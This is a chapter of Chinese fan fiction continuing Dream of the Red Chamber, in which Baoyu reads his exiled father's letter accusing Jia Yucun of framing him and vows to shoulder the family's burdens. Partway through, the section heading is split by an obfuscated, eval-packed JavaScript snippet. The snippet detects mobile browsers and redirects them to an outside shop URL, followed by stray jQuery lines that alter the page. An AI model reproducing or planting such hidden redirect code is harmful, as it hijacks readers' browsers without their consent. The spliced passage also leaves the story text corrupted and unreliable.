刘姥姥带来的暖意还未在残园散尽，荣府的朱红大门就被一阵急促的马蹄声叩响。晨光刚穿透云层，将雪后的庭院染成淡金，可那马蹄声裹挟着寒气，瞬间将这份短暂的安宁撕得粉碎。宝玉刚把刘姥姥留下的腊肉交给厨房，就见周瑞家的脸色惨白地跑进来，手里捏着一封皱巴巴的信笺，信纸边缘被磨得毛边，沾着些泥污与雪粒，像是历经了千辛万苦才送到这里。


    一、寒信递·狱卒临门传噩耗


    “二爷！二爷！”周瑞家的跑得气喘吁吁，棉鞋踩在融化的雪水里，溅起细小的水花，“大……大牢里来人了，说是……说是老爷有信送来！”


    宝玉心头一沉，像是被一块冰砸中，瞬间凉透。他三步并作两步迎上去，手指颤抖着接过信笺。那信纸是最粗劣的草纸，比府里下人用的纸还要粗糙，边缘参差不齐，上面的字迹潦草不堪，笔画抖得厉害，像是写信人用尽了全身力气，每一笔都透着难以言喻的艰难。墨色深浅不一，有些地方洇开了墨团，显然是在潮湿阴冷的环境下写就的。


    “送信的人呢？”宝玉的声音沙哑得厉害，目光死死盯着信笺上“贾政”两个字，那是他父亲的笔迹，却没了往日的端方工整，只剩下仓促与悲凉。


    “在……在前院等着呢，是两个狱卒，看着挺凶的。”周瑞家的喘着气，眼神里满是担忧，“他们说……说老爷被判了流放，不日就要上路了。”


    “流放？”宝玉猛地抬头，眼里满是难以置信，手里的信笺险些掉在地上，“为什么？父亲一向清正，怎么会被判流放？”


    他来不及细想，转身就往前院跑。孝衣的下摆扫过地上的残雪，留下一道浅浅的痕迹。廊下的宫灯还在微风中轻轻晃动，灯穗上的冰棱已经融化，滴下细小的水珠，像是在为这场突如其来的噩耗落泪。路过潇湘馆时，他瞥见灵堂的素白帘幔被风掀起，长明灯的火苗跳了跳，像是黛玉在无声地叹息。


    前院的台阶上，两个穿皂衣的狱卒正立着。为首的那个身材高大，脸上带着一块月牙形的刀疤，从左眉骨一直延伸到下颌，看着格外狰狞，左手按在腰间的刀鞘上，刀鞘是黑色的，沾着泥污与锈迹。另一个矮胖些，肚子圆滚滚的，手里把玩着一串钥匙，眼神轻蔑地扫过荣府的庭院，像是在打量一件不值钱的破烂。


    “你就是贾宝玉？”刀疤狱卒斜睨着宝玉，声音沙哑得像是砂纸磨过木头，带着几分不耐烦，“你爹贾政在狱里写了这封信，托我们给你捎来。赶紧接了，我们还得回去交差——这大雪天的，跑这一趟容易吗？若不是你爹在狱里给了我们半块碎银子，谁耐烦跑这趟冤枉路？”


    宝玉没理会他的嘲讽，目光紧紧盯着那封信，指尖反复摩挲着粗糙的纸面，像是能通过这纸张，感受到父亲在狱中的寒冷与艰辛。


    二、泣读信·字字泣血诉冤屈


    “吾儿宝玉亲览：”


    开篇五个字，就让宝玉的眼眶瞬间热了。他想起从前父亲在书房教他写字的模样，那时用的是上好的宣纸，磨的是徽州产的徽墨，父亲的笔锋端正，一笔一划都透着读书人的规矩。可如今，这草纸上的字迹，笔画颤抖，有些字甚至连笔画都连不上，像是写着写着就没了力气，又像是写着写着就落了泪，把墨汁都晕开了。


    他强忍着泪，继续往下读。


    “父遭构陷，以‘通敌’定罪，今判流放江南烟瘴之地，不日便行。”


    “通敌”两个字，像是两把烧红的烙铁，狠狠砸在宝玉的心上。他踉跄着后退一步，后背撞在冰冷的廊柱上，发出沉闷的声响。江南烟瘴之地——他曾听袭人说过，那里常年湿热，多瘴气，寻常人去了都活不过三年，更何况父亲已年过半百，又在狱里受了折磨，身子早就垮了。


    “此乃贾雨村与忠顺王府勾结所致，吾家世代忠良，自太祖皇帝起便为朝廷效力，竟遭此奇冤，实乃天不佑我贾家！”


    看到“贾雨村”三个字，宝玉的指节猛地攥紧，信纸被捏出几道深深的折痕，草纸的纤维都被他攥得发毛，几乎要裂开。记忆瞬间翻涌——十年前的春日，贾雨村还是个落魄秀才，穿着洗得发白的青布长衫，袖口磨破了边，来荣府求见父亲。父亲见他谈吐不凡，便举荐他复了官，还在荣禧堂设了宴席招待他。那天贾雨村喝得酩酊大醉，握着父亲的手哭着说“若有一日得志，必不忘贾府之恩”，父亲笑着拍了拍他的手，说“只需日后为官清正，不负朝廷便好”。


    可如今，那个说着“不忘恩”的人，却成了陷害父亲的凶手！


    宝玉的喉咙一阵发紧，像是有什么东西堵着，他强忍着泪，继续往下读。


    “府中诸事，皆赖吾儿支撑。你母王氏素日体弱，有哮喘的旧疾，闻此噩耗必难承受，需吾儿多宽慰，莫让她过度悲伤；你妹探春远嫁海疆，路途遥远，音信难通，若有机缘，需设法告知她家中境况，嘱其在夫家谨慎行事，自保为重；惜春年幼，性子又孤僻，巧姐尚在乡野，跟着刘姥姥，皆需吾儿费心照拂，莫让她们受委屈。”


    泪水终于忍不住掉了下来，一滴一滴砸在信纸上，把“探春”“惜春”“巧姐”几个字洇得模糊不清。他想起探春远嫁那天，穿着大红的嫁衣，偷偷拉着他的手哭着说“哥，我舍不得家”，他当时还笑着安慰她，说日后会去海疆看她。可如今，父亲被流放，家不成家，他连给探春捎句话都做不到。还有惜春，那个总爱躲在房间里画画的小妹妹，如今寄人篱下，想必受了不少委屈；巧姐在乡下，跟着刘姥姥纺线织布，不知道有没有冻着饿着。


    “切记：莫要再提‘出家’之念，你乃贾家嫡孙，身上流着贾家的血，护住母亲与弟妹，便是你今日之责，亦是你对贾家列祖列宗的交代。”


    这一句话，像是一根细针，精准地刺破了宝玉心里最后的侥幸。他想起从前，总对父亲说“我不愿做官，只想和姐妹们在大观园里安安稳稳过一辈子”，父亲虽生气，却也只是叹着气纵容了他。可如今，父亲在阴冷的监狱里，还在惦记着他的“出家之念”，还在嘱咐他“护住家人”。他这个做儿子的，到底有多糊涂，才会想着丢下母亲、丢下弟妹，独自去寻什么“清净”？


    “父此去凶多吉少，此一去，恐难再与吾儿相见。唯盼吾儿能振作精神，莫堕了贾家的门风——纵然家道中落，也要守住‘人’字，不可学那趋炎附势、忘恩负义之辈，丢了贾家的脸面。”


    信末没有落款，只画了个小小的“政”字，歪歪扭扭，旁边还滴着几点墨渍，像是笔锋顿了许久，才终于落下。


    三、肠寸断·忆昔慈父舐犊情


    宝玉捧着信，只觉那几张薄薄的草纸重逾千斤，压得他喘不过气，手臂都在微微发抖。他忽然想起许多从前被他忽略的小事，那些被他当作“古板”的叮嘱，此刻像烧红的烙铁，烫得他心口发疼。


    五岁那年，他在荣府后园放风筝，风筝线断了，飘向远处的树林，他坐在地上放声大哭。父亲走过来，没有骂他，只是蹲下来，用帕子轻轻擦去他脸上的泪，然后带着他去树林里找风筝。找了半个时辰，终于在一棵老槐树上找到了。父亲帮他重新绑好风筝线，说“男子汉，这点小事哭什么，风筝线断了可以再绑，若是心怯了，可就再也飞不起来了”。


    十岁那年，他偷偷溜出府去街上看杂耍，误了先生的课。晚上父亲把他叫到书房，没有打他，也没有骂他，只是拿出一本《论语》，教他读“士不可不弘毅，任重而道远”，然后对他说“读书不是为了做官，是为了知礼义、明是非，知道什么该做，什么不该做”。


    十五岁那年，他在清虚观得罪了张道士，父亲气得发抖，把他叫到宗祠，让他对着贾家列祖列宗的牌位跪下，打了他手心十下。可晚上，父亲却悄悄来他的房里，手里拿着一块暖手的羊脂白玉牌，放在他的手心，说“打你是为了你好，你要记住，贾家的子孙，不能失了分寸”。


    那些细碎的温暖，那些被他嫌弃的“规矩”，此刻像潮水般涌来，将他淹没。父亲一生正直，为官清廉，从未做过亏心事，对谁都带着几分宽厚，可如今，却要背着“通敌”的罪名，被流放到那荒无人烟的烟瘴之地，受尽苦楚。而他这个做儿子的，却还在想着“出家”，想着“逃避”，想着丢下所有的责任。


    “噗通”一声，宝玉双腿一软，跪倒在冰冷的青石板上。融化的雪水渗进他的棉裤，冻得他膝盖发麻，像是有无数根细针在扎，可他却一点也不觉得冷——心里的愧疚与悔恨，比这寒冬的雪水更冷，更疼。他想起黛玉临终前的模样，黛玉躺在床上，呼吸微弱，却还拉着他的手说“宝玉，你要好好的，要护住你想护的人，别像我一样孤苦无依”。那时他只当是黛玉的胡话，如今才明白，黛玉早就知道，他肩上有不能丢下的责任。


    四、立誓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886380|192024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    言·浪子回头担家责


    “爷！您快起来！地上凉！”袭人匆匆赶来，见宝玉跪在地上，连忙上前扶他，自己也垂着泪，“老爷虽遭了难，可还有您在，若是您垮了，太太、惜春姑娘，还有远在海疆的探春姑娘，可就真的没指望了！”


    麝月也跑了过来，和袭人一起，一左一右把宝玉搀起来。宝玉的腿已经麻了，站在原地，半天说不出话来，只是望着潇湘馆的方向。那里的竹枝还在微风中晃荡，竹叶上的雪粒已经融化，像是黛玉在对他摇头，在轻声说“宝玉，你不能再糊涂了”。


    他忽然摸出怀里的通灵宝玉，那玉自从抄家后，就少了往日的光泽，上面刻的“莫失莫忘，仙寿恒昌”八个字也淡了许多，此刻被他攥在手心，竟有些硌得慌。从前他总觉得这玉是“劳什子”，是束缚他的枷锁，可现在才明白，父亲信里说的“责”，才是真正的枷锁，也是他不能丢下的念想。


    “袭人，”宝玉的声音沙哑得像是被砂纸磨过，每一个字都透着疲惫，却带着从未有过的坚定，“你去我房里，把我那几块贴身的玉佩找出来——北静王送的白玉佩，薛蟠送的翡翠佩，都拿去当了，换些银子。还有黛玉从前给我绣的那个荷包，里面的红豆也一并带着，我要带着它去见父亲。”


    袭人一愣，手里的帕子差点掉在地上：“爷，您是想……亲自去大牢里见老爷？可大牢那种地方，又脏又乱，还有许多犯人，您去了……”


    “嗯。”宝玉点头，泪水还挂在脸上，睫毛上沾着细小的泪珠，像极了冬日里凝结的霜花，“我要去狱里见父亲一面，问问他贾雨村到底是怎么陷害他的，问问江南烟瘴之地具体在什么地方，路上要走多久。父亲说，护住母亲与弟妹是我的责任。出家避不了灾祸，也换不回父亲的清白，我得先去救父亲，就算拼了我这条命，也不能让父亲背着‘通敌’的骂名，死在异乡。”


    站在一旁的刀疤狱卒听得不耐烦了，粗声粗气地催促：“要见你爹就快些准备！过三日他就要被押解上路了，到时候你想见也见不着了！你们贾家如今这模样，能让他写封信给你，已是天大的情面，别不知足！”


    宝玉没理会他的嘲讽，只是小心翼翼地把父亲的信折好，贴身藏在衣襟里，紧贴着心口的位置。那信纸带着狱中的寒气，却像是一颗火种，在他心里慢慢燃了起来，驱散了些许寒意。他想起刘姥姥带来的窝头，想起黛玉绣的荷包，想起父亲的叮嘱，忽然明白，所谓的“干净日子”，不是躲在空门里就能寻到的，而是在这满是泥污的世上，守住本心，护住家人，尽到责任。


    “麝月，你去告诉平儿，”宝玉又对麝月吩咐道，声音平静了些，却依旧坚定，“让她把我那件灰鼠皮袄先给琏二哥送去，再让她多照看些太太和惜春。我去见父亲，可能要耽搁几日，府里的事，就劳烦你们了。”


    麝月红着眼眶点头，泪水在眼眶里打转：“爷您放心，府里的事我们会照看好的，您路上一定要保重自己，别冻着饿着。”


    宝玉点点头，转身往自己的房里去。路过怡红院时，他停了下来，望着院里那棵枯死的海棠树。树干上还留着他从前刻的“木石前盟”四个字，如今字迹早已模糊。他忽然想起，去年春天，黛玉还在这海棠树下葬花，说“侬今葬花人笑痴，他年葬侬知是谁”。那时他还笑着说会一直陪着她，可如今，黛玉不在了，他连承诺都没兑现，只能守住父亲的嘱托，守住贾家最后的念想。


    回到房里，宝玉打开梳妆盒，里面只剩下几块玉佩和黛玉绣的荷包。他拿起那块白玉佩，上面刻着“温润如玉”四个字，是北静王亲手刻的。那时北静王说“往后定要互相扶持”，可如今，北静王为了避嫌，早已和贾家断了往来。他又拿起黛玉绣的荷包，藕荷色的锦缎上绣着并蒂莲，针脚细密，里面的红豆还带着淡淡的清香。


    宝玉把荷包贴在胸口，紧紧攥着，仿佛还能感受到黛玉的温度。他知道，从这一刻起，那个“厌恶科举、逃避现实”的贾宝玉，该醒了。他要走的，不再是“空门”，而是一条布满荆棘的“生路”，一条为父亲洗清冤屈、为家人遮风挡雨的路。


    窗外的阳光越来越亮，照在残园的雪地上，反射出耀眼的光。宝玉把玉佩和荷包收进包袱里，背在肩上，转身走出房门。孝衣的下摆迎着晨光，像是一面坚定的旗帜，预示着一场漫长而艰难的征程，即将开始。